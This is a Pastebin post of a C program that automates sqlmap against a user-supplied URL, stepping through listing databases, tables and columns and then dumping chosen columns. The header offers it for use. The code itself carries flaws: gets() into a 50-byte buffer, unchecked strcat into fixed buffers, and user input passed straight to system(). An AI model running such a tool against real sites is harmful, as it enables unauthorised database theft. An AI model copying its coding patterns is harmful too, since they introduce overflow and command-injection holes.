ajithkp560

SQLMAP Command Executor_Linux

Sep 22nd, 2012
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.32 KB | None | 0 0
  1. /*
  2. * Coded by Ajith Kp
  3. * Works In LinuX
  4. * Compiled With gcc compiler
  5. * Automated SQLMAP Command Executor
  6. * Just Input Data and enjoy
  7. * Jai Hind
  8. * Long Live Hindustan
  9. * WwW.Openfire-Security.Net [ToF]
  10. * wWw.SuckTheTech.BlogSpot.in [PerSonal]
  11. * WwW.CodingBrainStorm.BlogSpot.In [w3p]
  12. * Hope Maximum Share
  13. */
  14. #include <stdio.h>
  15. #include <string.h>
  16.  
  17. void url_in();
  18. void options();
  19. void dbs();
  20. void table();
  21. void column();
  22. void dump();
  23. void banner();
  24. void greets();
  25.  
  26.     char cmd[]="python ./sqlmap.py -u ";
  27.     char d[10]=" -D ";
  28.     char t[10]=" -T ";
  29.     char db[10]=" --dbs";
  30.     char tab[20]=" --tables";
  31.     char col[20]=" --columns";
  32.     char c[20]=" -C ";
  33.     char dum[20]=" --dump";
  34.     char url[50];
  35.  
  36.  
  37. main()
  38. {
  39.     banner();
  40.     url_in();
  41.     options();
  42. }
  43. void url_in()
  44. {
  45.     printf("\n\nInput URL: ");
  46.     gets(url);
  47. }
  48. void options()
  49. {
  50.     int option;
  51.     system("clear");
  52.     banner();
  53.     printf("\n\nSelect Your Option:\n ");
  54.     printf("\n\t1. DBS\n\t2. Tables\n\t3. Columns\n\t4. Dump Data\n\nInput Option[1,2,3,4]: ");
  55.     scanf("%d", &option);
  56.     switch(option)
  57.     {
  58.         case 1:
  59.             dbs();
  60.             break;
  61.         case 2:
  62.             table();
  63.             break;
  64.         case 3:
  65.             column();
  66.             break;
  67.         case 4:
  68.             dump();
  69.             break;
  70.         default:
  71.             printf("\nWrong Input Try again!");
  72.             greets();
  73.             break;
  74.     }
  75. }
  76.    
  77. void dbs()
  78. {
  79.     char pirr1[250]="";
  80.     system("clear");
  81.     banner();
  82.     strcat(pirr1, cmd);
  83.     strcat(pirr1, url);
  84.     strcat(pirr1,db);
  85.     printf("\n%s\n",pirr1);
  86.     system(pirr1);
  87. }
  88. void table()
  89. {
  90.     char pirr2[250]="";
  91.     char dbnamet[50];
  92.     system("clear");
  93.     banner();
  94.     printf("\nInput DB Name: ");
  95.     scanf("%s",dbnamet);
  96.     strcat(pirr2, cmd);
  97.     strcat(pirr2, url);
  98.     strcat(pirr2, d);
  99.     strcat(pirr2, dbnamet);
  100.     strcat(pirr2, tab);
  101.     printf("%s\n",pirr2);
  102.     system(pirr2);
  103.     printf("\n\nPress Enter To Explore Columns");
  104. }
  105. void column()
  106. {
  107.     char pirr3[250]="";
  108.     char dbnamec[50], tablenamec[50];
  109.     system("clear");
  110.     banner();
  111.     printf("\nInput DB Name: ");
  112.     scanf("%s",dbnamec);
  113.     printf("\nInput Table Name: ");
  114.     scanf("%s",tablenamec);
  115.     strcat(pirr3, cmd);
  116.     strcat(pirr3, url);
  117.     strcat(pirr3, d);
  118.     strcat(pirr3, dbnamec);
  119.     strcat(pirr3, t);
  120.     strcat(pirr3, tablenamec);
  121.     strcat(pirr3, col);
  122.     printf("%s\n",pirr3);
  123.     system(pirr3);
  124.     printf("\nPress Enter to Continue...");
  125. }
  126. void dump()
  127. {
  128.     char pirr4[250]="";
  129.     char dbnamed[50], tablenamed[50], columnnamed[50];
  130.     system("clear");
  131.     banner();
  132.     printf("\n\nInput DB Name: ");
  133.     scanf("%s",dbnamed);
  134.     printf("\nInput Table Name: ");
  135.     scanf("%s",tablenamed);
  136.     printf("\nInput Column Name: ");
  137.     scanf("%s",columnnamed);
  138.     strcat(pirr4,cmd);
  139.     strcat(pirr4,url);
  140.     strcat(pirr4,d);
  141.     strcat(pirr4,dbnamed);
  142.     strcat(pirr4,t);
  143.     strcat(pirr4,tablenamed);
  144.     strcat(pirr4,c);
  145.     strcat(pirr4,columnnamed);
  146.     strcat(pirr4,dum);
  147.     printf("%s\n",pirr4);
  148.     system(pirr4);
  149. }
  150. void greets()
  151. {
  152.     printf("\n\n\n\t\tAmsteck Arts & Science College, BCA Batch");
  153.     printf("\n\nCoded By\n\t Ajith Kp: www.facebook.com/ajithkp560");
  154.     printf("\n\tvisit: www.suckthetech.blogspot.in\n\twww.codingbrainstorm.blogspot.in [Ajmal Josh]");
  155.     printf("\n\tAjmal Josh: www.facebook.com/ajmal.josh");
  156.     printf("\n\tDheeraj KV: BCA");
  157.     printf("\n\tJhelai Sahadevan: BSc Physics");
  158.     printf("\n\tJithendra Singh: BSc Physics");
  159.     printf("\n...& All My friends from Amsteck and Team Open Fire");
  160.     printf("\n\n...Press Enter To Continue...");
  161. }
  162. void banner()
  163. {
  164.     printf("\n\t+---------------------------------------------------------------+");
  165.     printf("\n\t|coded by Ajith Kp           |           facebook.com/ajithkp560|");
  166.     printf("\n\t|www.suckthetech.blogspot.com | www.codingbrainstorm.blogpot.com|");
  167.     printf("\n\t| Dheeraj KV                                   Jhelai Sahadevan |");
  168.     printf("\n\t| Ajmal Joshi                                          Jitendra |");
  169.     printf("\n\t| TeamOpenFire: Coded32, Alex, John,S udeep & All other Members |");
  170.     printf("\n\t+---------------------------------------------------------------+");
  171. }
Advertisement
Add Comment
Please, Sign In to add comment